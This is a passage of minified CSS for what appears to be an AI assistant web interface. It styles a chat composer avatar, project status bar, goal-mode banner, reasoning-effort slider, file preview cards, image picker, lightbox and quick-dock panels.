100px;animation:sa-sub-zoom-05190602 4s ease-in-out infinite}.sa-sub-ray[data-v-05190602],.sa-sub-hex[data-v-05190602],.sa-sub-eye[data-v-05190602]{fill:none;stroke:currentColor;stroke-width:5;stroke-linecap:round;stroke-linejoin:round}.sa-sub-ray[data-v-05190602]{stroke-dasharray:40;stroke-dashoffset:40;opacity:1;animation:sa-sub-ray-05190602 4s ease-in-out infinite}.sa-sub-hex[data-v-05190602]{opacity:0;animation:sa-sub-hex-05190602 4s ease-in-out infinite}.sa-sub-eyes[data-v-05190602]{opacity:0;transform-origin:100px 100px;animation:sa-sub-eyes-05190602 4s ease-in-out infinite}@keyframes sa-sub-ray-05190602{0%{stroke-dashoffset:40;opacity:1}15%{stroke-dashoffset:0;opacity:1}30%{stroke-dashoffset:0;opacity:1}40%,to{opacity:0}}@keyframes sa-sub-hex-05190602{0%,15%{opacity:0}30%{opacity:1}to{opacity:1}}@keyframes sa-sub-eyes-05190602{0%,40%{opacity:0;transform:scale(.9)}50%{opacity:1;transform:scale(1)}70%{opacity:1;transform:scale(1)}80%,to{opacity:0;transform:scale(1)}}@keyframes sa-sub-zoom-05190602{0%,50%{transform:scale(1);opacity:1}70%{transform:scale(2);opacity:1}99.5%{transform:scale(2);opacity:1}to{transform:scale(2);opacity:0}}.composer-avatar[data-v-1f19a619]{position:absolute;left:0;right:auto;bottom:calc(100% + 6px);z-index:auto;display:flex;align-items:flex-end;justify-content:flex-start;width:45px;height:45px;pointer-events:auto;color:var(--text-primary)}.floating-status-row[data-v-1f19a619]{position:absolute;left:49px;right:49px;bottom:calc(100% + 6px);z-index:auto;height:34px;display:flex;align-items:flex-end;justify-content:center;pointer-events:none}.floating-project-status[data-v-1f19a619]{position:relative;left:auto;right:auto;bottom:auto;flex:1 1 auto;width:100%;min-width:0;max-width:100%;height:34px;display:flex;align-items:center;justify-content:space-between;gap:12px;padding:4px 10px 4px 4px;border:1px solid var(--border-default);border-radius:14px;background:var(--theme-surface-soft);box-shadow:none;pointer-events:auto}.composer-avatar .status-avatar[data-v-1f19a619]{display:block;flex-shrink:0;margin-bottom:-5px}.composer-avatar__text[data-v-1f19a619]{position:absolute;white-space:nowrap;font-size:14px;font-weight:500;line-height:16px;color:var(--text-secondary);background:var(--chat-surface-color);padding:2px 8px;border-radius:9999px;pointer-events:none;z-index:1}.composer-avatar__text--right[data-v-1f19a619]{left:calc(100% + 4px);right:auto;top:auto;bottom:0;transform:none}.composer-avatar__text--top[data-v-1f19a619]{left:-8px;bottom:40px;transform:none}.composer-avatar-text-fade-enter-active[data-v-1f19a619],.composer-avatar-text-fade-leave-active[data-v-1f19a619]{transition:opacity .18s ease}.composer-avatar-text-fade-enter-from[data-v-1f19a619],.composer-avatar-text-fade-leave-to[data-v-1f19a619]{opacity:0}.composer-avatar-text-fade-enter-to[data-v-1f19a619],.composer-avatar-text-fade-leave-from[data-v-1f19a619]{opacity:1}.floating-project-status__left[data-v-1f19a619],.floating-project-status__right[data-v-1f19a619]{min-width:0;display:inline-flex;align-items:center;gap:6px}.floating-project-status__left[data-v-1f19a619]{flex:1 1 auto}.floating-project-status__right[data-v-1f19a619]{flex:0 0 auto;margin-left:auto}.floating-project-status__menu-wrap[data-v-1f19a619]{position:relative;display:inline-flex;align-items:center;min-width:0;height:26px}.floating-project-status__button[data-v-1f19a619],.floating-project-status__notice[data-v-1f19a619]{height:26px;display:inline-flex;align-items:center;border:none;border-radius:10px;background:transparent;color:var(--text-primary);font:inherit;font-size:12px;line-height:1.2;white-space:nowrap}.floating-project-status__button[data-v-1f19a619]{min-width:0;padding:0 9px;cursor:pointer;transition:background .14s ease,color .14s ease}.floating-project-status__button[data-v-1f19a619]:hover,.floating-project-status__button--active[data-v-1f19a619],.floating-project-status__notice--button[data-v-1f19a619]:hover,.floating-project-status__submenu button[data-v-1f19a619]:hover{background:var(--theme-tab-active);box-shadow:0 1px 2px var(--shadow-color)}.floating-project-status__button--project[data-v-1f19a619]{max-width:min(260px,36vw);font-weight:600;overflow:hidden;text-overflow:ellipsis}.floating-project-status__button--branch[data-v-1f19a619]{color:var(--text-secondary)}.floating-project-status__notice[data-v-1f19a619]{padding:0 8px;color:var(--text-secondary)}.floating-project-status__notice--button[data-v-1f19a619]{cursor:pointer}.floating-project-status__stats[data-v-1f19a619]{display:inline-flex;align-items:center;gap:8px;height:26px;padding:0 8px;border:none;border-radius:10px;background:transparent;font-size:12px;line-height:1.2;font-variant-numeric:tabular-nums;cursor:pointer;transition:background .14s ease,color .14s ease}.floating-project-status__stats[data-v-1f19a619]:hover{background:var(--theme-tab-active);box-shadow:0 1px 2px var(--shadow-color)}.floating-project-status__add[data-v-1f19a619]{display:inline-flex;align-items:center;color:var(--git-diff-add-text)}.floating-project-status__del[data-v-1f19a619]{display:inline-flex;align-items:center;color:var(--git-diff-del-text)}.floating-project-status__terminal[data-v-1f19a619]{display:inline-flex;align-items:center;height:26px;padding:0 8px;border:none;border-radius:10px;background:transparent;color:var(--text-secondary);font-size:12px;line-height:1.2;cursor:pointer;transition:background .14s ease,color .14s ease}.floating-project-status__terminal[data-v-1f19a619]:hover{background:var(--theme-tab-active);color:var(--text-primary);box-shadow:0 1px 2px var(--shadow-color)}.floating-project-status__submenu[data-v-1f19a619]{position:absolute;top:calc(100% + 8px);left:0;z-index:46;width:max-content;min-width:160px;max-width:min(260px,72vw);display:flex;flex-direction:column;gap:2px;padding:6px;border:1px solid var(--border-default);border-radius:14px;background:var(--theme-surface-soft);box-shadow:none;overflow:hidden}.floating-project-status__submenu button[data-v-1f19a619]{width:100%;min-width:148px;height:36px;padding:0 10px;border:none;border-radius:10px;background:transparent;color:var(--text-primary);font-size:14px;line-height:1.2;text-align:left;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;cursor:pointer}html[data-theme=dark] .floating-project-status,body[data-theme=dark] .floating-project-status,html[data-theme=dark] .floating-project-status__submenu,body[data-theme=dark] .floating-project-status__submenu{background:var(--badge-bg)!important;border-color:var(--border-card-strong)}html[data-theme=dark] .floating-project-status__button:hover,body[data-theme=dark] .floating-project-status__button:hover,html[data-theme=dark] .floating-project-status__notice--button:hover,body[data-theme=dark] .floating-project-status__notice--button:hover,html[data-theme=dark] .floating-project-status__stats:hover,body[data-theme=dark] .floating-project-status__stats:hover,html[data-theme=dark] .floating-project-status__submenu button:hover,body[data-theme=dark] .floating-project-status__submenu button:hover{box-shadow:0 1px 2px var(--shadow-color)}html[data-theme=classic] .floating-project-status,body[data-theme=classic] .floating-project-status,html[data-theme=classic] .floating-project-status__submenu,body[data-theme=classic] .floating-project-status__submenu{background:var(--surface-raised)}.floating-status-motion-enter-active[data-v-1f19a619],.floating-status-motion-leave-active[data-v-1f19a619]{transition:opacity .18s ease,transform .26s cubic-bezier(.25,.8,.25,1);transform-origin:bottom center;will-change:transform,opacity;z-index:auto}.floating-status-motion-enter-from[data-v-1f19a619],.floating-status-motion-leave-to[data-v-1f19a619]{opacity:0;transform:translateY(44px)}.floating-status-motion-enter-to[data-v-1f19a619],.floating-status-motion-leave-from[data-v-1f19a619]{opacity:1;transform:translateY(0)}.goal-mode-banner[data-v-1f19a619]{display:inline-flex;align-items:center;gap:6px;margin:0 0 6px 4px;padding:4px 10px;border-radius:999px;font-size:12px;line-height:1.4;color:var(--text-secondary);background:color-mix(in srgb,var(--theme-surface-soft) 92%,var(--text-tertiary) 8%);border:1px solid var(--theme-chip-border);-webkit-user-select:none;user-select:none;transition:gap .2s ease,padding .2s ease}.goal-mode-banner--collapsed[data-v-1f19a619]{position:absolute;left:4px;bottom:calc(100% + 6px);z-index:2;margin:0;gap:0;padding-right:10px}.goal-mode-banner__text[data-v-1f19a619]{overflow:hidden;white-space:nowrap;max-width:200px;opacity:1;transition:max-width .2s ease,opacity .18s ease}.goal-mode-banner--collapsed .goal-mode-banner__text[data-v-1f19a619]{max-width:0;opacity:0}.goal-mode-banner--running[data-v-1f19a619]{color:var(--accent);border-color:var(--accent);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--accent) 18%)}.goal-mode-banner--done[data-v-1f19a619]{color:var(--state-success);border-color:var(--state-success);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--state-success) 18%)}:root[data-theme=dark],body[data-theme=dark]{color:var(--text-secondary);background:color-mix(in srgb,var(--theme-surface-muted) 82%,var(--text-tertiary) 18%);border-color:var(--theme-control-border-strong)}:root[data-theme=dark],body[data-theme=dark]{color:var(--text-primary);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--accent) 28%);border-color:color-mix(in srgb,var(--accent) 70%,white 30%)}:root[data-theme=dark],body[data-theme=dark]{color:color-mix(in srgb,var(--state-success) 30%,white);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--state-success) 28%);border-color:color-mix(in srgb,var(--state-success) 70%,white 30%)}.goal-mode-banner--clickable[data-v-1f19a619]{cursor:pointer}.goal-mode-banner__dot[data-v-1f19a619]{width:7px;height:7px;border-radius:50%;background:var(--text-tertiary)}.goal-mode-banner--running .goal-mode-banner__dot[data-v-1f19a619]{background:var(--accent);animation:goal-banner-pulse-1f19a619 1.4s ease-in-out infinite}.goal-mode-banner--done .goal-mode-banner__dot[data-v-1f19a619]{background:var(--state-success)}@keyframes goal-banner-pulse-1f19a619{0%,to{opacity:1}50%{opacity:.35}}.goal-banner-fade-enter-active[data-v-1f19a619],.goal-banner-fade-leave-active[data-v-1f19a619]{transition:opacity .18s ease,transform .18s ease}.goal-banner-fade-enter-from[data-v-1f19a619],.goal-banner-fade-leave-to[data-v-1f19a619]{opacity:0;transform:translateY(4px)}.image-inline-row[data-v-1f19a619]{display:flex;flex-wrap:wrap;gap:8px;padding:4px 10px 2px;line-height:1.4}.image-thumbnail-wrapper[data-v-1f19a619]{position:relative;width:60px;height:60px;border-radius:6px;cursor:pointer;border:1px solid var(--border-default)}.image-thumbnail[data-v-1f19a619]{width:100%;height:100%;object-fit:cover;display:block;border-radius:5px}.image-remove-btn-hover[data-v-1f19a619]{position:absolute;top:-7px;right:-7px;width:18px;height:18px;border-radius:50%;background:var(--surface-base);border:1px solid var(--border-default);color:var(--text-secondary);cursor:pointer;display:none;align-items:center;justify-content:center;padding:0;transition:color .15s ease}.image-thumbnail-wrapper:hover .image-remove-btn-hover[data-v-1f19a619]{display:flex}.image-remove-btn-hover[data-v-1f19a619]:hover{color:var(--state-danger)}body[data-theme=dark] .image-thumbnail-wrapper[data-v-1f19a619]{border-color:var(--border-strong)}body[data-theme=dark] .image-remove-btn-hover[data-v-1f19a619]{background:color-mix(in srgb,var(--chip-bg) 88%,white);border-color:var(--border-strong)}.effort-slider[data-v-cf3df9ee]{width:100%;padding:4px 2px 0;user-select:none;-webkit-user-select:none}.effort-header[data-v-cf3df9ee]{position:relative;height:24px;margin-bottom:14px}.header-state[data-v-cf3df9ee]{position:absolute;top:0;right:0;bottom:0;left:0;display:flex;align-items:center;justify-content:space-between;transition:opacity .18s ease,transform .18s ease}.header-idle[data-v-cf3df9ee]{opacity:1}.header-drag[data-v-cf3df9ee]{opacity:0;transform:translateY(4px);pointer-events:none;color:var(--text-secondary);font-size:14px}.effort-slider.live-drag .header-idle[data-v-cf3df9ee]{opacity:0;transform:translateY(-4px);pointer-events:none}.effort-slider.live-drag .header-drag[data-v-cf3df9ee]{opacity:1;transform:translateY(0)}.header-title[data-v-cf3df9ee]{font-size:13px;font-weight:600;color:var(--text-primary)}.default-toggle[data-v-cf3df9ee]{display:inline-flex;align-items:center;gap:6px;cursor:pointer}.default-label[data-v-cf3df9ee]{font-size:12px;color:var(--text-secondary)}.slider-zone[data-v-cf3df9ee]{position:relative;transition:filter .25s ease,opacity .25s ease}.effort-slider.is-default .slider-zone[data-v-cf3df9ee]{filter:grayscale(1) brightness(.72);opacity:.55}.effort-slider.is-default .fill-layer[data-v-cf3df9ee],.effort-slider.is-default .fill-layer[data-v-cf3df9ee]:after{animation:none}.track[data-v-cf3df9ee]{position:relative;height:34px;border-radius:17px;background:var(--effort-track-bg);cursor:pointer;touch-action:none}.fill-stack[data-v-cf3df9ee]{position:absolute;left:0;top:0;bottom:0;width:100%;border-radius:17px;overflow:hidden}.fill-layer[data-v-cf3df9ee]{position:absolute;left:0;top:0;bottom:0;width:100%;opacity:0;transition:opacity .35s ease}.fill-layer.on[data-v-cf3df9ee]{opacity:1}.fill-layer.lv-0[data-v-cf3df9ee]{background:var(--effort-low)}.fill-layer.lv-1[data-v-cf3df9ee]{background:var(--effort-medium)}.fill-layer.lv-2[data-v-cf3df9ee]{background:var(--effort-high)}.fill-layer.lv-3[data-v-cf3df9ee]{background:var(--effort-xhigh)}.fill-layer.lv-3[data-v-cf3df9ee]:after{content:"";position:absolute;top:0;bottom:0;left:-50%;width:45%;background:linear-gradient(90deg,transparent 0%,var(--effort-xhigh-shine) 50%,transparent 100%);animation:shine-sweep-cf3df9ee 1.8s linear infinite}@keyframes shine-sweep-cf3df9ee{0%{left:-50%}to{left:130%}}.fill-layer.lv-4[data-v-cf3df9ee]{width:200%;background:repeating-linear-gradient(90deg,var(--effort-max-red) 0%,var(--effort-max-orange) 7.15%,var(--effort-max-yellow) 14.3%,var(--effort-max-green) 21.45%,var(--effort-max-cyan) 28.6%,var(--effort-max-purple) 35.75%,var(--effort-max-pink) 42.9%,var(--effort-max-red) 50%);animation:rainbow-flow-cf3df9ee 2.4s linear infinite}@keyframes rainbow-flow-cf3df9ee{0%{transform:translate(-50%)}to{transform:translate(0)}}.dot[data-v-cf3df9ee]{position:absolute;top:50%;width:7px;height:7px;border-radius:50%;transform:translate(-50%,-50%);background:var(--effort-dot-uncovered);transition:background .2s ease;pointer-events:none}.dot.covered[data-v-cf3df9ee]{background:var(--effort-dot-covered)}.knob[data-v-cf3df9ee]{position:absolute;left:0;top:50%;width:46px;height:46px;border-radius:50%;background:var(--effort-knob-bg);border:1px solid var(--border-default);transform:translate(-50%,-50%);box-shadow:0 1px 4px var(--effort-knob-shadow);cursor:grab;z-index:2}.effort-slider.live-drag .knob[data-v-cf3df9ee]{cursor:grabbing}.level-labels[data-v-cf3df9ee]{position:relative;height:18px;margin-top:10px}.level-label[data-v-cf3df9ee]{position:absolute;transform:translate(-50%);font-size:11px;color:var(--text-secondary);transition:color .2s ease,font-weight .2s ease;white-space:nowrap}.level-label.active[data-v-cf3df9ee]{color:var(--text-primary);font-weight:600}.pdf-preview[data-v-f74a8bf6]{width:100%;min-height:120px}.pdf-preview-loading[data-v-f74a8bf6],.pdf-preview-error[data-v-f74a8bf6]{display:flex;align-items:center;justify-content:center;gap:8px;padding:24px;color:var(--text-tertiary);font-size:12px}.pdf-preview-error[data-v-f74a8bf6]{color:var(--state-error)}.pdf-preview-spinner[data-v-f74a8bf6]{width:14px;height:14px;border:2px solid var(--border-default);border-top-color:var(--accent-primary);border-radius:50%;animation:pdf-preview-spin-f74a8bf6 .8s linear infinite}@keyframes pdf-preview-spin-f74a8bf6{to{transform:rotate(360deg)}}.pdf-preview-page[data-v-f74a8bf6]{display:block;width:100%;height:auto;margin:0}.show-file-card[data-v-4a12c216]{border:1px solid var(--border-default);border-radius:8px;background:var(--surface-base);overflow:hidden;margin:8px 0;font-size:13px}.sfc-header[data-v-4a12c216]{min-height:44px;background:var(--surface-raised);padding:0 12px 0 18px;display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid var(--border-default);gap:12px}.sfc-file-icon[data-v-4a12c216]{flex-shrink:0;width:16px;height:16px;background-color:var(--text-secondary);-webkit-mask:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='24'%20height='24'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3cpath%20d='M15%202H6a2%202%200%200%200-2%202v16a2%202%200%200%200%202%202h12a2%202%200%200%200%202-2V7Z'/%3e%3cpath%20d='M14%202v4a2%202%200%200%200%202%202h4m-8%2010v-6m-3%203l3%203l3-3'/%3e%3c/svg%3e") no-repeat center/contain;mask:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='24'%20height='24'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3cpath%20d='M15%202H6a2%202%200%200%200-2%202v16a2%202%200%200%200%202%202h12a2%202%200%200%200%202-2V7Z'/%3e%3cpath%20d='M14%202v4a2%202%200%200%200%202%202h4m-8%2010v-6m-3%203l3%203l3-3'/%3e%3c/svg%3e") no-repeat center/contain}.sfc-name[data-v-4a12c216]{flex:1;min-width:0;font-weight:500;color:var(--text-primary);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.sfc-actions[data-v-4a12c216]{flex-shrink:0;display:flex;gap:6px}.sfc-btn[data-v-4a12c216]{display:inline-flex;align-items:center;justify-content:center;height:28px;padding:0 10px;border:1px solid var(--border-default);border-radius:6px;background:var(--surface-base);color:var(--text-secondary);font-size:12px;cursor:pointer;transition:background .15s,border-color .15s}.sfc-btn[data-v-4a12c216]:hover{background:var(--surface-muted);border-color:var(--border-strong)}.sfc-btn[data-v-4a12c216]:disabled{opacity:.6;cursor:default}.sfc-btn[data-v-4a12c216]:disabled:hover{background:var(--surface-base);border-color:var(--border-default)}.sfc-btn-download[data-v-4a12c216]{color:var(--accent-primary)}.sfc-preview[data-v-4a12c216]{border-top:1px solid var(--border-default);max-height:360px;min-height:160px;overflow:auto;position:relative;background:var(--surface-base);scrollbar-width:thin;scrollbar-color:var(--text-muted) transparent}.sfc-preview--csv[data-v-4a12c216]{overflow:auto;display:block;padding:0}.sfc-preview[data-v-4a12c216]::-webkit-scrollbar{width:8px}.sfc-preview[data-v-4a12c216]::-webkit-scrollbar-track{background:transparent}.sfc-preview[data-v-4a12c216]::-webkit-scrollbar-thumb{background:var(--text-muted);border-radius:8px}.sfc-loading[data-v-4a12c216],.sfc-error[data-v-4a12c216]{display:flex;align-items:center;gap:8px;padding:20px;color:var(--text-tertiary);justify-content:center;font-size:12px}.sfc-error[data-v-4a12c216]{color:var(--state-error)}.sfc-spinner[data-v-4a12c216]{width:14px;height:14px;border:2px solid var(--border-default);border-top-color:var(--accent-primary);border-radius:50%;animation:sfc-spin-4a12c216 .8s linear infinite}@keyframes sfc-spin-4a12c216{to{transform:rotate(360deg)}}.sfc-code[data-v-4a12c216]{margin:0;padding:12px;font-family:SF Mono,Monaco,Menlo,Consolas,monospace;font-size:12px;line-height:1.5;white-space:pre-wrap;word-break:break-word;color:var(--text-primary);background:var(--surface-base)}.sfc-csv-scroll[data-v-4a12c216]{overflow-x:auto;overflow-y:hidden;margin:0;padding:0}.sfc-csv-scroll--loading[data-v-4a12c216]{min-height:160px}.sfc-csv-table[data-v-4a12c216]{width:max-content;min-width:100%;border-collapse:collapse;border-spacing:0;font-size:12px;margin:0;padding:0;background:var(--surface-soft)}.sfc-csv-table th[data-v-4a12c216],.sfc-csv-table td[data-v-4a12c216]{padding:6px 10px;border:1px solid var(--border-soft);text-align:left;white-space:nowrap}.sfc-csv-table th[data-v-4a12c216]{background:var(--surface-soft);font-weight:600}.sfc-csv-table td[data-v-4a12c216]{background:var(--surface-base)}.sfc-csv-meta[data-v-4a12c216]{padding:6px 12px;font-size:11px;color:var(--text-tertiary);text-align:center;border-top:1px solid var(--border-soft)}.sfc-md[data-v-4a12c216]{padding:12px;max-height:400px;overflow:auto}.sfc-image[data-v-4a12c216]{display:block;max-width:100%;max-height:400px;margin:0 auto;cursor:zoom-in;padding:12px}.sfc-image--android[data-v-4a12c216]{cursor:default;pointer-events:none;-webkit-user-select:none;user-select:none}.image-picker-backdrop[data-v-d233bcfe]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--overlay-scrim);display:flex;align-items:center;justify-content:center;z-index:1200}.image-picker-panel[data-v-d233bcfe]{width:min(780px,92vw);max-height:88vh;background:var(--surface-panel);color:var(--text-primary);border:1px solid var(--border-default);border-radius:12px;display:flex;flex-direction:column;box-shadow:0 16px 40px var(--shadow-color)}.header[data-v-d233bcfe]{display:flex;align-items:center;justify-content:space-between;padding:14px 16px;border-bottom:1px solid var(--border-default)}.header-left[data-v-d233bcfe]{display:flex;align-items:center;gap:10px}.title[data-v-d233bcfe]{font-weight:600}.local-btn[data-v-d233bcfe]{border:1px solid var(--border-strong);padding:4px 10px;border-radius:8px;background:var(--surface-raised);color:var(--text-secondary);font-size:12px;cursor:pointer}.local-btn[data-v-d233bcfe]:disabled{opacity:.5;cursor:not-allowed}.close-btn[data-v-d233bcfe]{background:transparent;color:var(--text-tertiary);border:none;font-size:20px;cursor:pointer}.body[data-v-d233bcfe]{padding:12px 16px;overflow:auto;flex:1}.grid[data-v-d233bcfe]{display:grid;grid-template-columns:repeat(auto-fill,minmax(180px,1fr));gap:12px}.card[data-v-d233bcfe]{border:1px solid var(--border-default);border-radius:10px;background:var(--surface-card);cursor:pointer;overflow:hidden;display:flex;flex-direction:column;padding:10px 10px 12px}.video-thumb[data-v-d233bcfe]{height:110px;border-radius:8px;background:linear-gradient(135deg,color-mix(in srgb,var(--state-info) 12%,transparent),color-mix(in srgb,var(--state-info) 5%,transparent));border:1px solid var(--border-strong);display:flex;align-items:center;justify-content:center;flex-direction:column;color:var(--text-primary);gap:6px;font-size:28px}.video-thumb .ext[data-v-d233bcfe]{font-size:12px;color:var(--text-secondary)}.card .name[data-v-d233bcfe]{padding:8px 2px 0;font-size:12px;color:var(--text-secondary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.card.selected[data-v-d233bcfe]{border-color:var(--state-info);box-shadow:0 0 0 2px color-mix(in srgb,var(--state-info) 20%,transparent)}.loading[data-v-d233bcfe],.empty[data-v-d233bcfe]{padding:40px 0;text-align:center;color:var(--text-tertiary)}.footer[data-v-d233bcfe]{display:flex;align-items:center;justify-content:space-between;padding:12px 16px;border-top:1px solid var(--border-default)}.actions[data-v-d233bcfe]{display:flex;gap:10px}.btn[data-v-d233bcfe]{border:1px solid var(--border-strong);padding:8px 14px;border-radius:8px;background:var(--surface-raised);color:var(--text-primary);cursor:pointer}.btn.primary[data-v-d233bcfe]{background:var(--state-info);border-color:var(--state-info);color:var(--text-primary)}.btn[data-v-d233bcfe]:disabled{opacity:.5;cursor:not-allowed}.count[data-v-d233bcfe]{font-size:13px;color:var(--text-tertiary)}@media (max-width: 640px){.grid[data-v-d233bcfe]{grid-template-columns:repeat(auto-fill,minmax(150px,1fr))}.video-thumb[data-v-d233bcfe]{height:90px}}.image-lightbox[data-v-0ed2e5c7]{position:fixed;top:0;right:0;bottom:0;left:0;z-index:4000;background:var(--overlay-scrim);display:flex;align-items:center;justify-content:center;padding:calc(12px + env(safe-area-inset-top,0px)) calc(12px + env(safe-area-inset-right,0px)) calc(12px + env(safe-area-inset-bottom,0px)) calc(12px + env(safe-area-inset-left,0px));box-sizing:border-box}.image-lightbox__stage[data-v-0ed2e5c7]{max-width:100%;max-height:100%;display:flex;flex-direction:column;align-items:center;gap:10px;min-width:0;min-height:0}.image-lightbox__img[data-v-0ed2e5c7]{max-width:min(1100px,88vw);max-height:min(780px,76vh);object-fit:contain;border-radius:6px;-webkit-user-select:none;user-select:none;-webkit-user-drag:none}@media (max-width: 767px){.image-lightbox__img[data-v-0ed2e5c7]{max-width:94vw;max-height:80vh}}.image-lightbox__caption[data-v-0ed2e5c7]{flex:none;max-width:80vw;font-size:12px;line-height:1.4;color:var(--lightbox-text);opacity:.85;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.image-lightbox__close[data-v-0ed2e5c7]{position:absolute;top:calc(10px + env(safe-area-inset-top,0px));right:calc(10px + env(safe-area-inset-right,0px));z-index:1;width:36px;height:36px;border-radius:50%;border:none;background:var(--lightbox-btn-bg);color:var(--lightbox-text);font-size:20px;line-height:1;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:background .15s ease}.image-lightbox__close[data-v-0ed2e5c7]:hover{background:var(--lightbox-btn-bg-hover)}.lightbox-fade-enter-active[data-v-0ed2e5c7],.lightbox-fade-leave-active[data-v-0ed2e5c7]{transition:opacity .16s ease}.lightbox-fade-enter-from[data-v-0ed2e5c7],.lightbox-fade-leave-to[data-v-0ed2e5c7]{opacity:0}.quick-dock,.qd-detail,.qd-preview,.qd-menu{--qd-row-h: 36px;--qd-width: 270px;--qd-ease-out: cubic-bezier(.22, .9, .28, 1);--qd-ease-strike: cubic-bezier(.55, .06, .35, 1)}.quick-dock{flex:none;width:294px;padding:44px 12px 20px 0;box-sizing:border-box;display:flex;flex-direction:column;min-height:0;overflow:hidden;transition:width .3s ease,padding .3s ease,opacity .25s ease,transform .3s var(--qd-ease-out)}.quick-dock--empty{width:0;padding:44px 0 20px;opacity:0;transform:translate(24px)}.quick-dock--no-anim{transition:none}.quick-dock__scroll{flex:1;min-height:0;display:flex;flex-direction:column;align-items:flex-end;gap:12px;overflow-y:auto;scrollbar-width:none;-ms-overflow-style:none;padding:24px;margin:-24px}.quick-dock__scroll::-webkit-scrollbar{display:none;width:0;height:0}.qd-window{flex:none;width:var(--qd-width);background:var(--surface-raised);border:1px solid var(--border-default);border-radius:12px;box-shadow:var(--shadow-card);overflow:hidden}.qd-window.qd-window-enter{animation:qd-window-in .3s ease-out}@keyframes qd-window-in{0%{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}.qd-window.qd-window-exit{animation:qd-window-out .24s ease-in forwards}@keyframes qd-window-out{0%{opacity:1;transform:translateY(0)}to{opacity:0;transform:translateY(-6px)}}.qd-window__header{height:38px;display:flex;align-items:center;gap:7px;padding:0 12px;border-bottom:1px solid var(--border-default)}.qd-window__icon{width:15px;height:15px;color:var(--accent);flex:none}.qd-window__title{font-size:12.5px;font-weight:600;color:var(--text-secondary);letter-spacing:.02em}.qd-window__counter{margin-left:auto;font-size:11.5px;color:var(--text-tertiary);font-variant-numeric:tabular-nums}.qd-list{list-style:none;margin:0;padding:0;height:calc(var(--qd-row-h) * 5);overflow-y:auto;scrollbar-width:none;-ms-overflow-style:none}.qd-list::-webkit-scrollbar{display:none;width:0;height:0}.qd-window__header,.qd-run-item,.qd-todo-item,.qd-file-item,.qd-detail__header,.qd-preview__header,.qd-menu{-webkit-user-select:none;user-select:none}.qd-row-enter{opacity:0;animation:qd-row-in .34s var(--qd-ease-out) forwards}@keyframes qd-row-in{0%{opacity:0;transform:translate(-14px)}to{opacity:1;transform:translate(0)}}.qd-row-leave{animation:qd-row-out .26s ease-in forwards}@keyframes qd-row-out{0%{opacity:1;transform:translate(0);height:var(--qd-row-h)}55%{opacity:0;transform:translate(-14px);height:var(--qd-row-h)}to{opacity:0;transform:translate(-14px);height:0}}.qd-todo-item{height:var(--qd-row-h);display:flex;align-items:center;gap:9px;padding:0 12px;overflow:hidden}.qd-todo-dot{flex:none;width:6px;height:6px;border-radius:50%;border:1.5px solid var(--text-tertiary);background:transparent;transition:background .2s ease,border-color .2s ease}.qd-todo-item.is-done .qd-todo-dot{background:var(--accent);border-color:var(--accent)}.qd-todo-text{position:relative;flex:1;min-width:0;font-size:13px;line-height:1.4;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis;transition:color .22s ease .12s}.qd-todo-text:after{content:"";position:absolute;left:-1px;right:-1px;top:50%;height:1.5px;margin-top:-.75px;background:var(--text-tertiary);border-radius:1px;transform:scaleX(0);transform-origin:left center;pointer-events:none}.qd-todo-item.is-done .qd-todo-text{color:var(--text-tertiary)}.qd-todo-item.is-done .qd-todo-text:after{transform:scaleX(1)}.qd-todo-item.just-done .qd-todo-text:after{animation:qd-strike-in .28s var(--qd-ease-strike) forwards}@keyframes qd-strike-in{0%{transform:scaleX(0)}to{transform:scaleX(1)}}.qd-todo-item.just-done .qd-todo-dot{animation:qd-dot-pop .32s var(--qd-ease-out)}@keyframes qd-dot-pop{0%{transform:scale(1)}45%{transform:scale(1.6)}to{transform:scale(1)}}.qd-run-item{height:var(--qd-row-h);display:flex;align-items:center;gap:7px;padding:0 8px 0 12px;overflow:hidden;cursor:pointer;transition:background .12s ease}.qd-run-item:hover,.qd-run-item.is-active{background:var(--hover-bg)}.qd-run-status{flex:none;width:6px;height:6px;border-radius:50%;background:transparent}.qd-run-item.is-running .qd-run-status{background:var(--state-info);animation:qd-status-pulse 1.6s ease-in-out infinite}.qd-run-item.is-idle .qd-run-status{background:var(--text-secondary)}.qd-run-item.is-done .qd-run-status{background:var(--state-success)}.qd-run-item.is-ended .qd-run-status{background:var(--state-danger)}@keyframes qd-status-pulse{0%,to{opacity:1}50%{opacity:.3}}.qd-run-name{flex:1;min-width:0;font-size:13px;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.qd-run-item[data-kind=cmd] .qd-run-name{font-family:ui-monospace,SF Mono,Menlo,monospace;font-size:12px}.qd-run-item.is-done .qd-run-name,.qd-run-item.is-ended .qd-run-name{color:var(--text-tertiary)}.qd-row-menu-btn{flex:none;width:22px;height:22px;display:flex;align-items:center;justify-content:center;padding:0;background:none;border:none;border-radius:5px;color:var(--text-tertiary);cursor:pointer;transition:background .12s ease,color .12s ease}.qd-row-menu-btn svg{width:14px;height:14px}.qd-row-menu-btn:hover{background:var(--tab-active);color:var(--text-secondary)}.qd-file-item{height:var(--qd-row-h);display:flex;align-items:center;gap:7px;padding:0 10px 0 6px;overflow:hidden;cursor:pointer;transition:background .12s 